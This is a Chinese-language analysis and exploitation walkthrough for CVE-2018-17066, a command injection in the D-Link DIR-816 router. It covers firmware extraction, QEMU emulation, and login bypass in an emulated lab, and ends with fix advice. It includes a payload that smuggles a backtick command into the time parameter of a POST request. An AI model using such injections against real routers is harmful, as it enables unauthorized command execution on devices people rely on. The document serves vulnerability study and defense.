IOT-CVE-2018-17066(D-Link命令注入漏洞)
字数 1584 2025-08-22 12:23:25

D-Link DIR-816 命令注入漏洞 (CVE-2018-17066) 深入分析与利用指南

漏洞概述

CVE-2018-17066 是 D-Link DIR-816 路由器中的一个高危命令注入漏洞。该漏洞存在于路由器的时间设置功能中,由于前端页面未对用户输入的时间参数进行有效过滤,导致攻击者可以通过构造恶意时间参数实现任意命令执行。

漏洞原理

  • 前端时间设置页面接收用户输入的时间数据
  • 输入数据未经任何过滤直接传输到后端处理
  • 后端通过 doSystem("date -s \"%s\"", Var) 函数调用
  • 攻击者可在时间参数中嵌入系统命令,实现命令注入

环境准备

所需工具

  • Kali Linux 2023(自带 Burp Suite)
  • Ubuntu(用于固件提取)
  • QEMU(用于固件模拟)
  • Binwalk(固件分析工具)
  • IDA Pro(逆向分析工具)

固件获取

  1. 访问 D-Link 官方技术支持网站下载固件:

  2. 下载固件文件:DIR-816.img

固件分析

使用 Binwalk 提取固件

binwalk -Me DIR-816.img

提取结果分析

  • 4280396 (0x41504C): Linux kernel version 2.6.36
  • 4642928 (0x46D870): xz compressed data
  • 4764032 (0x48B180): Unix path: /etc/Wireless/RT2860AP/RT2860AP.dat
  • 4789596 (0x49155C): XML document
  • 提取出的文件系统:squashfs-root(根目录)

文件系统分析

重点关注 /bin/goahead 文件,这是路由器的 Web 服务器程序:

  • ELF 32-bit LSB executable
  • MIPS架构
  • 动态链接库:/lib/ld-uClibc.so.0
  • 已剥离符号表

固件模拟执行

QEMU 模拟方法

有两种方法模拟运行 goahead:

  1. 动态版本 (qemu-mipsel)

    sudo qemu-mipsel -L ./ ./bin/goahead
    
  2. 静态版本 (qemu-mipsel-static)

    cp $(which qemu-mipsel-static) ./
    sudo chroot . ./qemu-mipsel-static ./bin/goahead
    

常见错误及解决方案

  1. goahead.pid 未找到

    rm -rf ./var/run
    mkdir ./var/run
    touch ./var/run/goahead.pid
    
  2. nvramd.pid 未找到

    touch ./var/run/nvramd.pid
    
  3. 缺少二进制 IP 数据
    这是由于 nvram_bufget 函数无法读取 lan_ipaddr 导致,需要模拟 NVRAM 设备。

NVRAM 模拟方案

方案一:使用 LD_PRELOAD 劫持动态链接库

  1. 获取或编写 libnvram.so
  2. 修改 config.h 中的配置:
    #define MOUNT_POINT "/mnt/libnvram/"
    #define OVERRIDE_POINT "/mnt/libnvram.override/"
    ENTRY("lan_ipaddr", nvram_set, "192.168.126.130") \
    ENTRY("lan_bipaddr", nvram_set, "192.168.126.255") \
    
  3. 编译:
    mipsel-linux-gnu-gcc -c -O2 -fPIC -Wall nvram.c -o nvram.o
    mipsel-linux-gnu-gcc -shared -nostdlib nvram.o -o libnvram.so
    
  4. 运行:
    chroot . ./qemu-mipsel-static -E LD_PRELOAD="./libnvram.so" ./bin/goahead
    

方案二:Patch 原程序

  1. 使用 IDA 动态调试:
    chroot . ./qemu-mipsel-static -g 23946 ./bin/goahead
    
  2. 在 IDA 中附加到进程
  3. 修改关键跳转(如 0x45CDD4 处将 v0 赋值为 0)

漏洞利用

绕过登录验证

方法一:修改前端 ASP 页面

  1. 找到 /etc_ro/web/dir_login.asp
  2. 修改 JavaScript 验证逻辑:
    function onlogin() {
        /* 注释掉所有验证代码 */
        return true;
    }
    

方法二:动态调试修改 strcmp 结果

  1. 在 IDA 中找到 strcmp 调用位置
  2. 设置断点并修改返回值为 0

命令注入实施

  1. 访问时间设置页面:
    http://192.168.126.131/d_wizard_step1_start.asp
    
  2. 使用 Burp Suite 拦截 POST 请求
  3. 在时间参数中注入命令:
    date=`ls`2024-6-05 01:58:39
    
  4. 观察命令执行结果

命令注入原理

后端处理逻辑:

doSystem("date -s \"%s\"", Var);

攻击者可通过反引号或 $() 实现命令替换:

date -s "`ls`2024-6-05 01:58:39"

漏洞修复建议

  1. 对用户输入进行严格过滤和验证
  2. 使用白名单方式限制时间格式
  3. 避免直接将用户输入传递给系统命令
  4. 使用安全的 API 替代 system() 调用

总结

CVE-2018-17066 是一个典型的前端输入未过滤导致的命令注入漏洞。通过分析固件、模拟执行环境和理解漏洞原理,安全研究人员可以深入理解此类漏洞的利用方式,并为防御类似漏洞提供参考。

D-Link DIR-816 命令注入漏洞 (CVE-2018-17066) 深入分析与利用指南 漏洞概述 CVE-2018-17066 是 D-Link DIR-816 路由器中的一个高危命令注入漏洞。该漏洞存在于路由器的时间设置功能中,由于前端页面未对用户输入的时间参数进行有效过滤,导致攻击者可以通过构造恶意时间参数实现任意命令执行。 漏洞原理 : 前端时间设置页面接收用户输入的时间数据 输入数据未经任何过滤直接传输到后端处理 后端通过 doSystem("date -s \"%s\"", Var) 函数调用 攻击者可在时间参数中嵌入系统命令,实现命令注入 环境准备 所需工具 Kali Linux 2023(自带 Burp Suite) Ubuntu(用于固件提取) QEMU(用于固件模拟) Binwalk(固件分析工具) IDA Pro(逆向分析工具) 固件获取 访问 D-Link 官方技术支持网站下载固件: D-Link Technical Support 下载固件文件:DIR-816.img 固件分析 使用 Binwalk 提取固件 提取结果分析 : 4280396 (0x41504C): Linux kernel version 2.6.36 4642928 (0x46D870): xz compressed data 4764032 (0x48B180): Unix path: /etc/Wireless/RT2860AP/RT2860AP.dat 4789596 (0x49155C): XML document 提取出的文件系统:squashfs-root(根目录) 文件系统分析 重点关注 /bin/goahead 文件,这是路由器的 Web 服务器程序: ELF 32-bit LSB executable MIPS架构 动态链接库:/lib/ld-uClibc.so.0 已剥离符号表 固件模拟执行 QEMU 模拟方法 有两种方法模拟运行 goahead: 动态版本 (qemu-mipsel) : 静态版本 (qemu-mipsel-static) : 常见错误及解决方案 goahead.pid 未找到 : nvramd.pid 未找到 : 缺少二进制 IP 数据 : 这是由于 nvram_ bufget 函数无法读取 lan_ ipaddr 导致,需要模拟 NVRAM 设备。 NVRAM 模拟方案 方案一:使用 LD_ PRELOAD 劫持动态链接库 获取或编写 libnvram.so 修改 config.h 中的配置: 编译: 运行: 方案二:Patch 原程序 使用 IDA 动态调试: 在 IDA 中附加到进程 修改关键跳转(如 0x45CDD4 处将 v0 赋值为 0) 漏洞利用 绕过登录验证 方法一:修改前端 ASP 页面 找到 /etc_ro/web/dir_login.asp 修改 JavaScript 验证逻辑: 方法二:动态调试修改 strcmp 结果 在 IDA 中找到 strcmp 调用位置 设置断点并修改返回值为 0 命令注入实施 访问时间设置页面: 使用 Burp Suite 拦截 POST 请求 在时间参数中注入命令: 观察命令执行结果 命令注入原理 后端处理逻辑: 攻击者可通过反引号或 $() 实现命令替换: 漏洞修复建议 对用户输入进行严格过滤和验证 使用白名单方式限制时间格式 避免直接将用户输入传递给系统命令 使用安全的 API 替代 system() 调用 总结 CVE-2018-17066 是一个典型的前端输入未过滤导致的命令注入漏洞。通过分析固件、模拟执行环境和理解漏洞原理,安全研究人员可以深入理解此类漏洞的利用方式,并为防御类似漏洞提供参考。